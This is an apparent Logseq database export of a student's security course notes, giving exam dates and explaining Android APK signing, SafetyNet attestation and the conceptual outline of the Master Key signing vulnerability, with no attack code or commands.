ecosystemslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Flogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[133,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b5fc-4605-b71f-6278a6c0bb36logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Retake: `27.03.2025`, `10:00-12:00` @`GHH`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Flogseq____&quot;,140,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Vlogseq____&quot;,142,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[134,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e184-4146-86e8-5c4ebd9e56felogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Some web logseq____&amp; network securitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Flogseq____&quot;,136,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[135,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9202-4eef-8da0-985029469d5dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Usable Securitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Flogseq____&quot;,138,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[136,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-cf61-4610-942e-67774c561098logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Hardware-based securitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Flogseq____&quot;,135,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[137,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-6e64-4223-89c8-6211f4ee2864logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Platform Securitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Flogseq____&quot;,133,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[138,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e583-4414-870d-ed2091e6acc0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Fuchsialogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Flogseq____&quot;,137,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Vlogseq____&quot;,141,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[139,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-8635-4a87-8db5-96c8250e4227logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;End-Term: `28.02.2025`, `10:00-12:00` @`GHH`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Flogseq____&quot;,142,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Vlogseq____&quot;,142,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[140,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-ff5f-46be-a1b3-a6aa24ba4642logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Content:logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Flogseq____&quot;,142,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Vlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[141,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-83d8-44db-8eca-8b95018248f9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Examslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Flogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Xlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Vlogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Ulogseq____&quot;,132,536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[142,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-6935-44cd-b67a-d58ff474fcb5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;package integrity and authenticitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^11logseq____&quot;,logseq____&quot;Package Integrity and Authenticitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^Blogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[144,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-0cff-4089-9e2a-c2ce409da46blogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### SafetyNet Attestationlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Flogseq____&quot;,163,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Vlogseq____&quot;,165,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[145,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5ece-4a11-bce5-80ed380babd1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;No authenticity (developer self-signs certificate)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Flogseq____&quot;,162,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Vlogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[146,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7f36-48d3-aff1-8d217ec670b1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;#### Master Key Vulnerability (Signing Key)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Flogseq____&quot;,168,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Vlogseq____&quot;,154,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,4],536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[147,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-72b2-4b5b-914f-cafeaf17937flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Created using `apksigner`logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Flogseq____&quot;,170,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Vlogseq____&quot;,170,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[148,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-89ba-45f8-9f5e-881a59176c1flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`logseq____&lt;signerlogseq____&gt;.SF`: List of resources and their signature valuelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Flogseq____&quot;,151,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Vlogseq____&quot;,172,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[149,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-a626-4e75-8929-b8c44f36d1a9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;New publishing formatlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Flogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Vlogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[150,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-8c1e-4034-8b5d-19fbfc832580logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`Manifest.mf`: List of packaged files and their hashlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Flogseq____&quot;,172,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Vlogseq____&quot;,172,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[151,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-ae62-4d8f-a014-6e56134cd4d5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android *installed* the *second* filelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Flogseq____&quot;,153,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Vlogseq____&quot;,147,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[152,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-98c8-4485-9491-b954df933b13logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Android *verfied* the *first* filelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Flogseq____&quot;,175,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Vlogseq____&quot;,147,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[153,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7ffe-475b-9860-738b98e5acfclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Signature Scheme v1 (JAR signing) #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Flogseq____&quot;,160,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Vlogseq____&quot;,160,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[154,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-cd58-4b54-90dc-0fbe6da0861flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*trust on first install*logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Flogseq____&quot;,146,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Vlogseq____&quot;,146,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[155,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-caf9-4ff4-882a-b3dab56d10cblogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Verify App runs on a verified devicelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Flogseq____&quot;,145,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Vlogseq____&quot;,145,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[156,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1243-4e5b-af45-1c9c3a85be4elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nflowchart TB\\n B(\\logseq____&quot;Step 1: Verify the certificate\\logseq____&quot;) --logseq____&gt; C(\\logseq____&quot;Step 2: Using certificatelogseq____&apos;s public key, verify the signature of logseq____&amp;lt;signerlogseq____&amp;gt;.sf\\logseq____&quot;)\\n C --logseq____&gt; D(\\logseq____&quot;Step 3: Check that entries in logseq____&amp;lt;signerlogseq____&amp;gt;.sf match those in Manifest.mf\\logseq____&quot;)\\n D --logseq____&gt; E(\\logseq____&quot;Step 4: For each file listed in Manifest.mf, confirm its hash is correct\\logseq____&quot;)\\n\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Flogseq____&quot;,168,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Vlogseq____&quot;,168,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[157,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5acc-4dab-b09e-587a6642652dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Contains code and resources (*organized in modules*)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Flogseq____&quot;,150,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Vlogseq____&quot;,166,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[158,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-561a-4379-9490-03155a367df2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;subsequent updates ensure integritylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Flogseq____&quot;,155,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Vlogseq____&quot;,146,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[159,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-86c2-4f78-a3a8-5e3e0face7bclogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Signature Schemeslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Flogseq____&quot;,169,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Xlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Vlogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[160,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-747f-414d-8431-d25e8a722816logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[161,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Google Play Integrity API* as 